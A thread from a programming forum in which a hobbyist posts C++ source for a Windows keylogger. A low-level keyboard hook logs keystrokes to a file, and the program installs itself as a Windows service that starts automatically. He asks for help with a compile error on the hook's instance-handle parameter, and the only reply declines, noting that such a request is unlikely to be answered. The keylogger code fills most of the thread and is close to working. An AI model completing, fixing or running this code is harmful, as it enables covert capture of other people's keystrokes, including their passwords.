dcsimg
CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 2 of 2

Thread: struct HINSTANCE in Service

  1. #1
    Join Date
    Aug 2006
    Posts
    35

    struct HINSTANCE in Service

    So basically, I enjoy programming as a hobby. Been programming random C and C++ useless applications for a while now. Decided to give win32 programming for the first time, couldn't work out what to program, don't know where it came from, but came up with the idea of coding a keylogger. Found some great code for a Windows Service and some great code for a very basic keylogger (using Windows hooks). Its not going to be used for anything malicious, worse comes to worse, it'll probably only get posted here.

    So... merged code, fixed up a bunch of errors but, the last error has me stumped. I know that there has got to be a handle here somewhere or someway of creating a handle, I just don't quite 100% understand what the function (SetWindowsHookExA) is asking for and where I would find it.

    Is the function asking the third parameter be a pointer to a handle of an existing process? Or is it asking the third parameter be a pointer to a struct to create a new process?

    If it is looking for an existing handle. Where would I find it in a service?

    My best guess and reading through MSDN docs and forum posts, is its looking for the handle to the existing process (this service, the one its running under) but I can't seem to find where my handle would be located. The one its looking for.

    Heres the error:

    --------------------Configuration: Keylogger - Win32 Debug--------------------
    Compiling...
    main.cpp
    C:\Workspace\Keylogger\main.cpp(86) : error C2664: 'SetWindowsHookExA' : cannot convert parameter 3 from 'struct _SERVICE_STATUS' to 'struct HINSTANCE__ *'
    No user-defined-conversion operator available that can perform this conversion, or the operator cannot be called
    Error executing cl.exe.

    main.obj - 1 error(s), 0 warning(s)
    Heres the code:

    Code:
    #include <windows.h>
    #include <tchar.h>
    #include <fstream>
    
    using namespace std; 
    
    TCHAR* serviceName = TEXT("Keylogger");
    SERVICE_STATUS serviceStatus;
    SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
    HANDLE stopServiceEvent = 0;
    
    LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam);
    
    void WINAPI ServiceControlHandler( DWORD controlCode )
    {
    	switch ( controlCode )
    	{
    		case SERVICE_CONTROL_INTERROGATE:
    			break;
    
    		case SERVICE_CONTROL_SHUTDOWN:
    		case SERVICE_CONTROL_STOP:
    			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    			SetServiceStatus( serviceStatusHandle, &serviceStatus );
    
    			SetEvent( stopServiceEvent );
    			return;
    
    		case SERVICE_CONTROL_PAUSE:
    			break;
    
    		case SERVICE_CONTROL_CONTINUE:
    			break;
    
    		default:
    			if ( controlCode >= 128 && controlCode <= 255 )
    				// user defined control code
    				break;
    			else
    				// unrecognised control code
    				break;
    	}
    
    	SetServiceStatus( serviceStatusHandle, &serviceStatus );
    }
    
    void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] )
    {
    	// initialise service status
    	serviceStatus.dwServiceType = SERVICE_WIN32;
    	serviceStatus.dwCurrentState = SERVICE_STOPPED;
    	serviceStatus.dwControlsAccepted = 0;
    	serviceStatus.dwWin32ExitCode = NO_ERROR;
    	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
    	serviceStatus.dwCheckPoint = 0;
    	serviceStatus.dwWaitHint = 0;
    
    	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
    
    	if ( serviceStatusHandle )
    	{
    		// service is starting
    		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    
    		// do initialisation here
    		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
    
    		// running
    		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    		serviceStatus.dwCurrentState = SERVICE_RUNNING;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    
    		do
    		{
    			
    			// Set windows hook
    			HHOOK keyboardHook = SetWindowsHookEx(
    				WH_KEYBOARD_LL,
    				keyboardHookProc,
    				hInstance,
    				0);			
    
    		}
    		while ( WaitForSingleObject( stopServiceEvent, 5000 ) == WAIT_TIMEOUT );
    
    		// service was stopped
    		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    
    		// do cleanup here
    		CloseHandle( stopServiceEvent );
    		stopServiceEvent = 0;
    
    		// service is now stopped
    		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    		serviceStatus.dwCurrentState = SERVICE_STOPPED;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    	}
    }
    
    void RunService()
    {
    	SERVICE_TABLE_ENTRY serviceTable[] =
    	{
    		{ serviceName, ServiceMain },
    		{ 0, 0 }
    	};
    
    	StartServiceCtrlDispatcher( serviceTable );
    }
    
    void InstallService()
    {
    	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
    
    	if ( serviceControlManager )
    	{
    		TCHAR path[ _MAX_PATH + 1 ];
    		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 )
    		{
    			SC_HANDLE service = CreateService( serviceControlManager,
    							serviceName, serviceName,
    							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
    							0, 0, 0, 0, 0 );
    			if ( service )
    				CloseServiceHandle( service );
    		}
    
    		CloseServiceHandle( serviceControlManager );
    	}
    }
    
    LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
     
    	// If key is being pressed
    	if (wParam == WM_KEYDOWN) {
    		
    		ofstream out("c:\\keys.txt", ios::out);
    
    		switch (p->vkCode) {
     
    			// Invisible keys
    			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
    			case VK_SHIFT:		out << "<SHIFT>";		break;
    			case VK_LCONTROL:	out << "<LCTRL>";		break;
    			case VK_RCONTROL:	out << "<RCTRL>";		break;
    			case VK_INSERT:		out << "<INSERT>";		break;
    			case VK_END:		out << "<END>";			break;
    			case VK_PRINT:		out << "<PRINT>";		break;
    			case VK_DELETE:		out << "<DEL>";			break;
    			case VK_BACK:		out << "<BK>";			break;
     
    			case VK_LEFT:		out << "<LEFT>";		break;
    			case VK_RIGHT:		out << "<RIGHT>";		break;
    			case VK_UP:		out << "<UP>";			break;
    			case VK_DOWN:		out << "<DOWN>";		break;
     
    			// Visible keys
    			default:
    				out << char(tolower(p->vkCode));
     
    		}
    
    		out.close();
    
    	}
     
    	return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    void UninstallService()
    {
    	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
    
    	if ( serviceControlManager )
    	{
    		SC_HANDLE service = OpenService( serviceControlManager,
    			serviceName, SERVICE_QUERY_STATUS | DELETE );
    		if ( service )
    		{
    			SERVICE_STATUS serviceStatus;
    			if ( QueryServiceStatus( service, &serviceStatus ) )
    			{
    				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
    					DeleteService( service );
    			}
    
    			CloseServiceHandle( service );
    		}
    
    		CloseServiceHandle( serviceControlManager );
    	}
    }
    
    
    int _tmain( int argc, TCHAR* argv[] )
    {
    	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 )
    	{
    		InstallService();
    	}
    	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 )
    	{
    		UninstallService();
    	}
    	else
    	{
    		RunService();
    	}
    
    	return 0;
    }

  2. #2
    Join Date
    Mar 2003
    Location
    India {Mumbai};
    Posts
    3,871

    Re: struct HINSTANCE in Service

    Writing a key logger, and in service?
    You probably won't get answers here in codeguru!
    My latest article: Explicating the new C++ standard (C++0x)

    Do rate the posts you find useful.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


Windows Mobile Development Center


Click Here to Expand Forum to Full Width




On-Demand Webinars (sponsored)